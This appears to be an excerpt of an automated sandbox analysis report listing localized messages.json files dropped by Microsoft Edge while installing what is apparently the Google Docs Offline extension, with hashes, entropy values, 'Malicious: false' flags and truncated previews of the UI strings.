Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir7944_378368955\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

